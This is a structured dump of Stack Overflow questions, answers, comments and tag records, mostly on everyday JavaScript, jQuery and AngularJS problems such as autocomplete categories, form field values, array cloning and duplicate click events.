has body: Using the resources available on the jQuery UI website jQuery UI Autocomplete with categories I have been able to modify my select box to become a jQuery UI autocomplete. The selectbox in question has optgroups which act as the categories. var dataSource = []; $("#selectauser").find("option").each(function () { var $me = $(this); dataSource.push({ "label": $me.text(), "id": $me.attr("value"), "category": $me.parent().attr("label") }); }); If a user begins to type a category name is there a way to show all the children under that category. For example... given the following menu. Animals Dog Cat Fish Films Lord of the Rings Harry Potter Another film name If I typed "an" it would return Animals Dog Cat Fish Films Another film name As the animals header contains "an" it would return all the animals, and as the films has an option called "Another film name" it would also return this. I found that commenting out the line here would allow the visual effect of picking the header, but filtering on it still does not appear to work. this.widget().menu("option", "items", "&gt; :not(.ui-autocomplete-category)"); and that logging the items parameter from the _renderMenu: function (ul, items) { line only returns the values that are being shown in the list, so I believe something needs to be done before this. Any help/pointers in the right direction would be helpful.
upvote count: 1
tagged with: jquery-ui
tagged with: autocomplete
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
score: 1
favorite count: 0
has title: Jquery UI autocomplete select by category as well
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/40359529
comment on: http://stackoverflow.com/a/25802183
score: 0
type: AnswerComment
has text: @Gaurav, Thats why I have given solution of event delegation, that will work, I have added demo
type: Comment

http://stackoverflow.com/q/25742357
favorite count: 0
tagged with: textfield
has answer: http://stackoverflow.com/a/25764498
upvote count: 1
type: AnsweredQuestion
score: 1
type: Question
tagged with: playframework
accepted answer: http://stackoverflow.com/a/25764498
downvote count: 0
tagged with: javascript
has body: I could not figure out a way to read the current value of the email field. Everytime I read it, for example with a keyup event, nothing is retrieved. This issue just affects this field. I can read the values of the other textfields without a problem. createFormOnly.scala.html This is my view containing the form and jquery code to print the value of the text field. Note that the validation of the #fullname field works without any troubles. @(signupForm: Form[models.Register], loginForm: Form[Application.Login]) @import helper._ @implicitFieldConstructor = @{ FieldConstructor(twitterBootstrapInput.render) } @Messages("signup.new") @if(flash.get("error")!=null) { @Messages(flash.get("error")) } @form(controllers.account.routes.Signup.save(), 'id -> "signupForm") { @inputText( signupForm("email"), 'placeholder -> Messages("accout.register.create.email"), '_label -> Messages("email"), 'class -> "form-control", '_showConstraints -> false, 'id -> "email" ) @inputText( signupForm("fullname"), 'placeholder -> Messages("accout.register.create.fullname"), '_label -> Messages("fullname"), 'class -> "form-control", '_showConstraints -> false, 'id -> "fullname" ) @inputPassword( signupForm("inputPassword"), '_label -> Messages("password"), 'placeholder -> Messages("accout.register.create.password"), 'class -> "form-control", '_showConstraints -> false ) } View creating the form create.scala.html @(signupForm: Form[models.Register], loginForm: Form[Application.Login]) @scripts = { } @main(null, scripts) { @views.html.guestNavBar(loginForm) @createFormOnly(signupForm, loginForm) } Running it in Chrome / Console output Now i run the application an type values in the the text fields. An 'a' in the fullname textfield and an 'e' into the email textfield. As shown in the console it is empty. keyed fullname signup:234 a signup:235 a signup:236 signup:237 true signup:222 keyed email signup:77 signup:78 signup:79 signup:80
has title: Play Framework: cannot read value of textfield with javascript
answer count: 1
tagged with: template-engine

http://stackoverflow.com/a/25812968
has comment: http://stackoverflow.com/comment/40378989
has body: First off your selectors are bad, you have 3 vars that are calling the same thing. Use this as a guideline for your selectors. jQuery Selectors Also it will be helpful to know what is failing exactly, maybe paste some HTML so we can better help you. Edit: Try removing the block1 and block2 vars and see how it looks. With those selectors they are appending the photo and title info to the very first div. Try using the selector $(this) instead of block1 and block2. Edit2: Ok so what is going on is your item.append(block1, block2); part is adding the blocks you create to the first div. EDIT3: You need to create a new div and add the new blocks to create the new "item" Something along the lines of item.append("&lt; /div>&lt; div>"+ photo + title + info+'&lt; /div>') Edit 4: Without knowing your html I can't really write any code for your situation I can only assume and guess.
upvote count: 1
has comment: http://stackoverflow.com/comment/40379204
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25812874

http://stackoverflow.com/comment/40330494
comment on: http://stackoverflow.com/q/25786557
type: Comment
type: QuestionComment
has text: @Barmar actually I'm pretty sure that the sequence of execution of the functions is correct (by logging), and you can see here : http://onegoodexample.wordpress.com/2013/04/23/sequences-of-jquery-ajax-event-handling/
score: 0

http://stackoverflow.com/comment/40228317
score: 0
type: Comment
type: AnswerComment
has text: I didn't want to use `display: none` because of the potential for extra space at the bottom on the page. But it doesn't seem to show up when the page loads now that I test it, so I guess I just wasn't as thorough as I should have been in testing with jQuery UI. I already had a class for all my modal controls to help set the styling and margins for all the elements, so I just added it there.
comment on: http://stackoverflow.com/a/25730884

http://stackoverflow.com/comment/40311145
type: Comment
has text: I'm sure this is a wonderful solution. I think it is a bit overkill for what I am trying to do. I need some client-side processing hence the need to call a JavaScript function. I don't want all of that executing on the server. Thank you for the idea, though!
comment on: http://stackoverflow.com/a/25752822
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40236022
has text: did you just fixed it on your demo page ?
score: 0
comment on: http://stackoverflow.com/q/25734548
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40347686
comment on: http://stackoverflow.com/q/25795720
has text: sorry guys i dont have reputations to vote you but thanx for suggestions
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25790998
has answer: http://stackoverflow.com/a/25798153
has title: show limited days in calendar
has body: Below is the code i tried. From:&lt;input data-dojo-id="myFromDate" type="text" name="fromDate" id="fromDate" value="" data-dojo-type="dijit/form/DateTextBox" required="true" constraints="{ datePattern: 'MM/dd/yyyy'}" onChange="myToDate.constraints.min = arguments[0];"/&gt; To:&lt;input data-dojo-id="myToDate" type="text" name="toDate" id="toDate" value="" data-dojo-type="dijit/form/DateTextBox" required="true" constraints="{ datePattern: 'MM/dd/yyyy'}" onChange="myFromDate.constraints.max = arguments[0];" /&gt; &lt;input type="submit" value="submit"/&gt; Please suggest how can i only enable future 90 days once date is selected in fromDate field and past 90 days if i select date in toDate field.
tagged with: dojo
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25798153
type: Question
tagged with: jsp
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1

http://stackoverflow.com/comment/40444157
comment on: http://stackoverflow.com/q/25847691
has text: Ye im not doing it because i want too , its because i have to make something similar to it. Its looks bump n not professional but anyways, thank you for the feed back!
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25746426
accepted answer of: http://stackoverflow.com/q/25746355
answers question: http://stackoverflow.com/q/25746355
type: Answer
upvote count: 1
has body: Instead of animating left, animate margin-left. Here's a modified fiddle.
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40384251
comment on: http://stackoverflow.com/q/25815805
has text: Have you examined `1.15*100` alone? Hint: `parseInt` isn't the problem. Floating-point multiplication is.
score: 4
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25721388
accepted answer: http://stackoverflow.com/a/25721613
has comment: http://stackoverflow.com/comment/40210554
type: AnsweredQuestion
score: 0
has body: Following is my AngularJS table code, which is filling the trs like - {{emp.first_name}} {{emp.last_name}} Now the problem is when I firebug the page, 2 URLs are formed for every image - http://example.com:8000/%7B%7Bsiteurl%7D%7D:3030/public/%7B%7Bemp.prof_image%7D%7D http://example.com:3030/public/a1419c564308370f8d4817b7885ce031.png Console - As you can see now, every image is forming 2 GET and as previous one is not correct the page load time increase. Let me know how could I fix this problem ? EDIT Following is my controller code - angular.module("app").controller("MyController", function($scope, $location, SessionService, $http) { $scope.user = SessionService.currentUser; $scope.siteurl = $location.absUrl().split(":8000/")[0]; // Get user listing $http.get("/api/getempl").then(function(response){ if (response.status == 200) { console.log(response.data.data); $scope.empData = response.data.data; } else { console.log('400'); } }); });
type: Question
has comment: http://stackoverflow.com/comment/40210485
has comment: http://stackoverflow.com/comment/40210855
tagged with: performance
has title: 2 GET method forming for a single resource in AngularJS image fetch
has answer: http://stackoverflow.com/a/25721613
tagged with: javascript
tagged with: image
answer count: 2
has comment: http://stackoverflow.com/comment/40210681
linked to: http://stackoverflow.com/q/18184026
possible better answer: http://stackoverflow.com/a/25721600
has answer: http://stackoverflow.com/a/25721600
tagged with: angularjs

master-pages
tags question: http://stackoverflow.com/q/25729848
tags question: http://stackoverflow.com/q/25849004
type: Tag
tag name: master-pages

http://stackoverflow.com/q/25756195
has body: I am wondering how can I make my function still active even if I pressed backspace/delete it would still work and also I want to get the value of my select for my function. It will depend on the value of my select This is my code: Type Percentage Peso Value Discount Value this is my script: $(document).ready(function(){ $("#discountType").on("ready",function(){ var disType = $("#discountType").val(); if (disType == "PR"){ $("#discountValue").on("keyup",function(){ var disval = $("#discountValue").val(); if (disval.trim().length >= 3){ $("#value-min").html(" Discount value cannot be larger than 99 if discount type is PERCENTAGE"); }else{ $("#value-min").hide()/*html("")*/; } }); }else{ $("#value-min").hide()/*html("")*/; } }); }); but it's not working.
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25756280
has title: Keeping the function active even if I pressed backspace/delete. And getting the value of a select when I load the page
upvote count: 1
tagged with: php
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25756280
score: 1
type: Question

http://stackoverflow.com/a/54056453
upvote count: 2
answers question: http://stackoverflow.com/q/25805589
score: 2
downvote count: 0
has body: i have built on @user633183 answer and created this jsfiddle it switches titles according to the timer he created. maybe its useful for others as well function Counter(elem, delay) { var value = parseInt(elem.getAttribute("value"), 10); var interval; var titles = [ "hello i am the first title", "whats up, i am the second title", "add here any extra titles you want" ]; function updateDisplay(value) { elem.innerHTML = value; } function run() { value += 1; if (value == titles.length) value = 0; elem.setAttribute("value", value); updateDisplay(titles[value]); } function start() { interval = window.setInterval(run, delay); } // exports // This actually creates a function that our counter can call // you'll see it used below. // // The other functions above cannot be accessed from outside // this function. this.start = start; } var elem = document.getElementById("title-switcher"); counter = new Counter(elem, 2000); counter.start(); jsfiddle
type: Answer

http://stackoverflow.com/q/25837541
has comment: http://stackoverflow.com/comment/40423848
has comment: http://stackoverflow.com/comment/40423933
has answer: http://stackoverflow.com/a/25837703
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40423831
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40423874
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40423997
tagged with: web
favorite count: 0
has title: Sending a users actions from one page to another
type: UnansweredQuestion
has body: OK, so I have a basic knowledge of PHP, and I'm fairly advanced in CSS/HTML/JavaScript. I'm trying to set up a page that when an Admin types a message ("Hello, world!"), all the clients automatically update and display this new message in an H1 element. How do I get the admin page to "talk" to the client page? I can use PHP, JavaScript and HTML for this, but I'd rather stick to just HTML and JavaScript as my knowledge in PHP is not the best. Is this possible, and if so, does anyone know how to do this? It means a lot to me that you guys are willing to help, so thanks!
tagged with: http://stackoverflow.com/tag/html
tagged with: php

http://stackoverflow.com/comment/40484682
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25870898
has text: stackoverflow is not a code writing service - there are plenty of online tutorials on how to develop using javascript, and also how to write code to dynamically show/hide controls. If you're having a specific issue with the code you've written (that can be easily replicated through code you provide) then come back to us
score: 0

http://stackoverflow.com/comment/40425836
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25825903
has text: this is the element. So basically $('.my-data-table')
score: 0

http://stackoverflow.com/a/25828925
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25828802
answers question: http://stackoverflow.com/q/25828802
upvote count: 1
has body: Have you tried this? $('input[name="client"]').click(function() { if ($(this).attr('id') === 'updatetest') { $('#conf').val('hello'); } else if ($(this).attr('id') === 'datatest') { $('#conf').val('world'); } else { $('#conf').val(''); } }); DEMO
score: 1

http://stackoverflow.com/comment/40369957
comment on: http://stackoverflow.com/a/25808372
score: 0
type: AnswerComment
type: Comment
has text: So you mean the effect could be queing? It's not super optimal since I've broken it up in two divs in different languages, so one of them is being filtered out but the image obviously remains.

http://stackoverflow.com/q/25795573
has answer: http://stackoverflow.com/a/25795613
has answer: http://stackoverflow.com/a/25795784
accepted answer: http://stackoverflow.com/a/25795604
duplicate of: http://stackoverflow.com/q/7486085
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/16512773
has comment: http://stackoverflow.com/comment/40373351
has body: I have an array example fruit . I'd like to copy it as array fruits2, without keeping reference. As in the following example reference is kept so fruits is modified. var fruit = function (name){ this.name = name; } var fruits = []; fruits.push(new fruit('apple')); fruits.push(new fruit('banana')); fruits.push(new fruit('orange')); var fruits2 = fruits; fruits2.length = 0; console.log(fruits); http://jsfiddle.net/vkdqur82/ Using JSON.stringify and JSON.parse does the trick but the objects in fruits2 are not any longer of type fruit but are of general type object var temp = JSON.stringify(fruits); var fruits2 = JSON.parse(temp); I would like to know an alternative approach which would keep inner object of fruit.
has answer: http://stackoverflow.com/a/25795604
type: Question
has comment: http://stackoverflow.com/comment/40349219
upvote count: 5
has title: How to clone an array in javascript without using JSON.stringify or JSON.parse?
linked to: http://stackoverflow.com/q/7486085
possible better answer: http://stackoverflow.com/a/25795784
has comment: http://stackoverflow.com/comment/40358136
has comment: http://stackoverflow.com/comment/40349210
score: 5
answer count: 3
has comment: http://stackoverflow.com/comment/40349385
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40351641
favorite count: 0

http://stackoverflow.com/comment/40357377
type: Comment
type: QuestionComment
has text: Good call about keeping ORDER, that's a VERY important differences. @TedHopp
comment on: http://stackoverflow.com/q/25801026
score: 0

jquery-validate
tags question: http://stackoverflow.com/q/25846307
tags question: http://stackoverflow.com/q/25734986
tags question: http://stackoverflow.com/q/25778722
type: Tag
tags question: http://stackoverflow.com/q/25803030
tags question: http://stackoverflow.com/q/25867589
tag name: jquery-validate
tags question: http://stackoverflow.com/q/25868131
tags question: http://stackoverflow.com/q/25791873

http://stackoverflow.com/comment/40210364
score: 0
type: AnswerComment
type: Comment
has text: All in good time @Daedalus. Vipar in an object, properties should not be preceded by 'this'. 'this' is used in function declaration. Each couples' property / value is separated by a comma.
comment on: http://stackoverflow.com/a/25721233

http://stackoverflow.com/comment/40450262
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25851357
has text: @Nadim Akram, I'm afraid I cannot help you with this. I never used 'twig' before. But sometimes, the simplest solution, is best solution.

http://stackoverflow.com/comment/40499195
has text: Can't see the whole message. Can you pastebin it?
type: AnswerComment
comment on: http://stackoverflow.com/a/25858006
score: 0
type: Comment

slick.js
tag name: slick.js
type: Tag
tags question: http://stackoverflow.com/q/25847297

http://stackoverflow.com/a/25857497
answers question: http://stackoverflow.com/q/25855747
type: Answer
has body: There is a huge disadvantage of using toString, you don't get any outer contexts of the function. Something like this wouldn't work toStringed: var validator = require('validator'); exports.validateEmail = function(email) { return validator.isEmail(email) &amp;&amp; ~email.indexOf('mydomain'); }; Tools such as browserify can compile server side node to work on the client with a single file without having to do any extra work.
score: 0

http://stackoverflow.com/a/25795483
has body: You have at least two options: Change your html pages into JSP pages. Check the session, return any content you need or redirect to a login page based on session variables. Move these pages inside your app using GWT ExternalTextResource. This way you can keep your html files as is and load these pages only when requested from an authorized user from within your app.
answers question: http://stackoverflow.com/q/25794598
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40347681
downvote count: 0
type: Answer

http://stackoverflow.com/a/25714836
score: 1
answers question: http://stackoverflow.com/q/25714479
accepted answer of: http://stackoverflow.com/q/25714479
upvote count: 1
has body: Use ng-init please see more here https://docs.angularjs.org/api/ng/directive/ngInit or sample demo here http://plnkr.co/edit/qRJlAzPfwaZr8NENs7K0?p=preview {{father.person}} {{kids.name}} Colour: {{color.color}} delete
type: AcceptedAnswer
type: Answer
downvote count: 0

http://stackoverflow.com/a/35716832
downvote count: 0
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25713345
has body: TLDR: set FusionCharts.options.SVGDefinitionURL='absolute'; in your JavaScript to fix this problem Detailed: There is a FusionChart solution to this. The problem you mention comes from SVG using relative references to things like gradients, resolving incorrectly due to the tag being present. This problem is described on https://github.com/angular/angular.js/issues/8934. One possible solution would be setting $locationProvider.html5Mode({ enabled: true, requireBase: false }); and using absolute paths. Although this does solve the problem there is a solution by FusionCharts by setting FusionCharts.options.SVGDefinitionURL='absolute'; in your JavaScript. (http://www.fusioncharts.com/dev/api/fusioncharts/fusioncharts-properties.html#FusionCharts.options-attributes-SVGDefinitionURL)

http://stackoverflow.com/comment/40308570
comment on: http://stackoverflow.com/q/25774361
score: 0
type: Comment
has text: You might need to reformat this ... your getElementById function is not within a script bloc.
type: QuestionComment

http://stackoverflow.com/a/25780754
score: 78
has comment: http://stackoverflow.com/comment/126020112
answers question: http://stackoverflow.com/q/25777826
type: Answer
has body: This is not a limitation of React, it is a limitation of the DOM's click and dblclick events. As suggested by Quirksmode's click documentation: Don't register click and dblclick events on the same element: it's impossible to distinguish single-click events from click events that lead to a dblclick event. For more current documentation, the W3C spec on the dblclick event states: A user agent must dispatch this event when the primary button of a pointing device is clicked twice over an element. A double click event necessarily happens after two click events. Edit: One more suggested read is jQuery's dblclick handler: It is inadvisable to bind handlers to both the click and dblclick events for the same element. The sequence of events triggered varies from browser to browser, with some receiving two click events before the dblclick and others only one. Double-click sensitivity (maximum time between clicks that is detected as a double click) can vary by operating system and browser, and is often user-configurable.
upvote count: 78
downvote count: 0

http://stackoverflow.com/a/25847512
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25847222
score: 1
has body: If you are waiting for only first and second ajax not the requests in the complete callbacks then use $.when() var jQuery_1_11_0 = $.noConflict(true); jQuery_1_11_0(document).ready(function () { var domain = '&lt;?php echo $url; ?&gt;'; // AJAX 1 var a1 = $.ajax({ type: 'POST', url: 'lib/ajax.html', data: {}, // some data}, beforeSend: function (data) {}, // some code}, complete: function () { $.getJSON('lib/get-details.html', function (data) { // some code here }) }); // AJAX 2 var a2 = $.ajax({ type: 'POST', url: 'lib/ajax.html', data: {}, //some code}, beforeSend: function (data) {}, //some code}, complete: function () { $.getJSON('lib/get-details.html', function (data) { // some code here }) }); // After those 2 calls (they are actually 6, shortened the code) // are complete I want to start this one, which starts but run continuously. $.when(a1, a2).done(function () { $.post('lib/ajax.html?action=update_date', { domain: domain }); }); });

http://stackoverflow.com/a/25846363
has comment: http://stackoverflow.com/comment/89895188
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25846123
has comment: http://stackoverflow.com/comment/40441331
score: 7
upvote count: 7
has body: This isn't a Moment.js-specific problem; the same happens if you attempt to initialise a Date() object with the string you're using as well. If you create it as a Date() object first and manually assign the year using setYear() it does accept a date of -700: var date = new Date(); date.setYear(-700); moment(date).year(); &gt; -700 However as Niels Keurentjes has pointed out, date calculations this far back get quite complicated and may not be at all reliable. If you want "-700-01-01" you can configure the year, month and day separately: date.setYear(-700); date.setMonth(0); date.setDate(1); console.log(date); &gt; Fri Jan 01 -700 11:53:57 GMT+0000 (GMT Standard Time) As to whether the 1st day of the 1st month in 700BC was actually a Friday... you'll have to look that one up yourself.

http://stackoverflow.com/a/25800844
has body: svg.append("text") .attr("x", chart._xPixels() + chart._widthPixels() / 2) .attr("y", chart._yPixels() - 10) .style("text-anchor", "middle") .style("font-family", "sans-serif") .style("font-size", "75%") .text("Sample Text") In the above code .attr("x", chart._xPixels() + chart._widthPixels() / 2) is to keep text in Horizontal and .attr("y", chart._yPixels() - 10) is keep our text vertical, So if you need to keep text on the top of rect use the y attribute which you are using for rect and add some figure inorder to keep text on the rect. Hope you can understand.If not ask for more.Okay
type: Answer
answers question: http://stackoverflow.com/q/25798096
score: 0

http://stackoverflow.com/a/25867001
downvote count: 0
answers question: http://stackoverflow.com/q/25866930
upvote count: 4
type: AcceptedAnswer
score: 4
has body: You don't need to escape those quote marks in the JSON for a start: var json = '{"A":"1.354534634,","B":"-0.432335,","C":"0.234123423,"}'; Parse it: var obj = JSON.parse(json); Then just assign to your variables, removing the commas. var Accel_X = obj.A.replace(',', ''); var Accel_Y = obj.B.replace(',', ''); var Accel_Z = obj.C.replace(',', ''); Note: this will assign the numbers as strings. If you want them as floating point numbers you need to do a type conversion too: var Accel_X = parseFloat(obj.A.replace(',', '')); var Accel_Y = parseFloat(obj.B.replace(',', '')); var Accel_Z = parseFloat(obj.C.replace(',', '')); DEMO
type: Answer
accepted answer of: http://stackoverflow.com/q/25866930

http://stackoverflow.com/q/25840311
has body: I have to values in my dropdown. &lt;asp:DropDownList ID="DropDownList2" runat="server"&gt; &lt;asp:ListItem&gt;Select&lt;/asp:ListItem&gt; &lt;asp:ListItem&gt;Individual Form&lt;/asp:ListItem&gt; &lt;asp:ListItem&gt;Entity Form&lt;/asp:ListItem&gt; &lt;/asp:DropDownList&gt; Individual form and Entity form are two web form that have text boxes and dropdownlists. When the pages is first started or debug i want this dropdownlist to be shown and when a user selects either individual or entity the textboxes and the content of the web forms should load underneath. How is this possible?
has answer: http://stackoverflow.com/a/25840449
tagged with: php
has answer: http://stackoverflow.com/a/25840437
type: AnsweredQuestion
type: Question
tagged with: c#
has title: Show different pages or UI when a value is selected from dropdown?
tagged with: javascript
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/25840449
tagged with: asp.net
possible better answer: http://stackoverflow.com/a/25840437

http://stackoverflow.com/a/25727717
answers question: http://stackoverflow.com/q/25727495
type: AcceptedAnswer
has body: Javascript often uses asynchronous processing. That means, you start a thing, and instead of waiting for it to finish (there's no way to "wait" - that's intentional), you pass it some code to get run when the processing is done. This is sort of hard to get used to at first! You have to change "normal" data flows like this: v = calculateSomeData(); doSomethingWithData(d) to something like this: onFinish = function(d) { doSomethingWithData(d); } calculateSomeData(onFinish) Whatever thing thing you want to "wait for the data" is (you don't really show us here)... that thing should be set off running in your success() callback from the ajax.
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40223051
accepted answer of: http://stackoverflow.com/q/25727495

http://stackoverflow.com/a/25955193
type: Answer
answers question: http://stackoverflow.com/q/25835711
has comment: http://stackoverflow.com/comment/50687123
upvote count: 4
has comment: http://stackoverflow.com/comment/44107859
accepted answer of: http://stackoverflow.com/q/25835711
has comment: http://stackoverflow.com/comment/49432936
score: 4
has comment: http://stackoverflow.com/comment/45109391
has comment: http://stackoverflow.com/comment/40648013
has body: You cannot do this now, although this will hopefully change in the near-term future. At the moment, there is nothing in the Chrome APIs, although I did propose a tabaudio API back in February (and am working on a new draft -- as well as an implementation -- right now.) Can you give me an idea as to what you want this functionality for? (They ask for potential uses when proposing APIs.) Perhaps the closest that you can do is something similar to what the MuteTab Chrome extension does (written by me, http://www.github.com/jaredsohn/mutetab), which basically scans the page for object, embed, audio, video, and applet tags and hides them from the page. Unfortunately, this misses web audio. Also, instead of muting, it "stops" it by removing it from the page, which could block the video or game associated with the sound. Alternatively, if you just care about HTML5 video or audio or Flash that has an API (such as YouTube), you could could use JavaScript to pause or mute things.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40646447
has comment: http://stackoverflow.com/comment/40646382

http://stackoverflow.com/a/25740898
score: 1
has body: Use html instead: $('#parent').find('&gt; body').html();
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25740798
answers question: http://stackoverflow.com/q/25740798
upvote count: 1

http://stackoverflow.com/q/25728750
has answer: http://stackoverflow.com/a/25728821
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25728827
has comment: http://stackoverflow.com/comment/40224245
type: UnansweredQuestion
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/40224197
type: Question
score: -1
has body: With using the code below clicking on button asc should result in hiding button asc and showing instead button desc and then alert the value. And when clicking on button desc, show() should be executed for button asc and hide() for button desc. And the value should be displayed again in an alert message. How can I get this behavior? desc asc
has title: How to check variable value in JavaScript?
answer count: 3
has answer: http://stackoverflow.com/a/25728987

http://stackoverflow.com/q/25861375
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40467804
has comment: http://stackoverflow.com/comment/40467556
has comment: http://stackoverflow.com/comment/40467849
has comment: http://stackoverflow.com/comment/40467492
has body: This is a little hard to explain. I got this from server: {"enable": "15,16,17,18,19,20,21,22,23", "disable": "{ from: new Date(2014,9,16,23,0), to: new Date(2014,9,16,23,0) }"} and this is how I try to set the enabled and disables hours to my pickatime object from that JSON object. (http://amsul.ca/pickadate.js/api.htm#method-set-disable-enable) $.get('/ajax/res/', function(data) { var picker = $("#rz-time-1").pickatime('picker'); picker.set('enable', [ data.enable ]); picker.set('disable', [ data.disable ]); }, 'json'); this doesn't work, however if I put $.parseJSON(data.enable) it works only if there is not commas in my string... otherwise I get unexpected non-whitespace character because of the commas...
type: Question
has comment: http://stackoverflow.com/comment/40467396
tagged with: pickadate
tagged with: javascript
has comment: http://stackoverflow.com/comment/40467633
has comment: http://stackoverflow.com/comment/40467478
has comment: http://stackoverflow.com/comment/40467861
has comment: http://stackoverflow.com/comment/40467395
upvote count: 1
downvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40467593
type: UnansweredQuestion
has title: from json object to my object properties
has comment: http://stackoverflow.com/comment/40467506
has answer: http://stackoverflow.com/a/25869029
has comment: http://stackoverflow.com/comment/40468228
score: 1

html-table
tags question: http://stackoverflow.com/q/25867801
tag name: html-table
tags question: http://stackoverflow.com/q/25818248
tags question: http://stackoverflow.com/q/25839830
tags question: http://stackoverflow.com/q/25824095
tags question: http://stackoverflow.com/q/25732711
tags question: http://stackoverflow.com/q/25761856
tags question: http://stackoverflow.com/q/25740324
type: Tag
tags question: http://stackoverflow.com/q/25729734
tags question: http://stackoverflow.com/q/25853345

http://stackoverflow.com/q/25779849
has comment: http://stackoverflow.com/comment/40319129
tagged with: javascript
has comment: http://stackoverflow.com/comment/40319089
has title: Angularjs single click fires 2 times?
has comment: http://stackoverflow.com/comment/40319229
has comment: http://stackoverflow.com/comment/40319200
answer count: 3
has comment: http://stackoverflow.com/comment/40318663
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/41065134
has comment: http://stackoverflow.com/comment/40318606
has answer: http://stackoverflow.com/a/34875106
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40319424
upvote count: 1
has comment: http://stackoverflow.com/comment/40318618
tagged with: css
has comment: http://stackoverflow.com/comment/40318761
has comment: http://stackoverflow.com/comment/40318937
has answer: http://stackoverflow.com/a/25781587
has body: search This is my search button: $scope.onSearchButton1Click = function() { var partId = $("#partIdSearch").val(); var firstName = $("#firstNameSearch").val(); var lastName = $("#lastNameSearch").val(); var fathersName = $("#fathersNameSearch").val(); var address = $("#address").val(); $rootScope.$broadcast('onSearchButton1Click',partId,firstName,fathersName,lastName,address); } This is my controller for the above button. I broadcast this event to another controller in the following way: $scope.$on('onSearchButton1Click',function(event,data1,data2,data3,data4,data5){ pId= data1; fname=data2; lname=data3; fathersName=data4; address= data5; VoterDataService.search(data1,data2,data3,data4,data5,0).success(function(response){ $scope.arr = response.search; }); }); This is my service code: voterDataServiceAPI.search = function(data1,data2,data3,data4,data5,pageNo,lang) { var url ="api/search" + "?part_id="+data1 +"&first_name="+data2+"&middle_name="+data3+"&last_name="+data4+"&subpart=" + data5 +"&page_no="+pageNo; return $http({ method : "GET", url:url, headers:{ "content-type": "application/json" } }); } Why single click fires 2 times?
type: Question

http://stackoverflow.com/comment/40373723
score: 0
type: Comment
type: QuestionComment
has text: You shouldn't try to fix this in JS: fix the code that is sending you this insanely large JSON string. This is a server-side problem, not a JS issue
comment on: http://stackoverflow.com/q/25810245

http://stackoverflow.com/q/25849510
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40446017
has comment: http://stackoverflow.com/comment/40446328
has answer: http://stackoverflow.com/a/25850174
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40445596
tagged with: http://stackoverflow.com/tag/html
has title: AngularJS: Uncaught Error: $injector:modulerr Failed to instantiate module
has body: I am trying to include several directives in as dependencies. Everything was working fine until I added a new directive called classificationview. its just an directive which will i will use somewhere later. I am getting the error of : Uncaught Error: [$injector:modulerr] Failed to instantiate module mainapp due to: Error: [$injector:modulerr] Failed to instantiate module ald.classificationview due to: Error: [$injector:nomod] Module 'ald.classificationview' is not available! You either misspelled the module name or forgot to load it. If registering a module ensure that you specify the dependencies as the second argument. The classification directive: /** * */ var classificationViewModule = angular.module('ald.classificationview',[]); classificationViewModule.factory('classificationAPI',function(){ return { getClassification:function($http){ //TODO add URL var url = "/Classification?artifactId=6450" return $http({ method: 'GET', url: url }); } }; }); classificationViewModule.directive('classification', function () { return { restrict: 'EA', scope: {}, replace: true, link: function ($scope, element, attributes) { }, controller: function ($scope, $http, classificationAPI) { classificationAPI.getClassification($http).success(function(data,status){ //TODO Add required binding $scope.artifactClassification = data; }).error(function(data,status){ if (404==status){ alert("no text"); } else { alert("bad stuff!"); } }); }, //TODO add template url templateUrl: "classificationview.html" }; }); The main.js file : var theApp = angular.module('mainapp', [ 'ald.documentlist', 'ald.hierarchylist', 'ald.hierarchyviewer', 'ald.documentdisplay', 'ald.artifactlist', 'ald.classificationview', 'ngRoute' ]); var controllers = {}; var directives = {}; controllers.tabsController = function ($scope, $location, $http) { $scope.onClickTab = function (tabUrl) { $scope.removePadding(); $location.$$search = {}; if (tabUrl == 'Hierarchy') { $location.path("/hierarchy"); } else if (tabUrl == 'Artif…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40445909
has comment: http://stackoverflow.com/comment/40445532
type: Question
score: 0

http://stackoverflow.com/comment/40360870
has text: @const_ref I will add a suggestion as an answer..
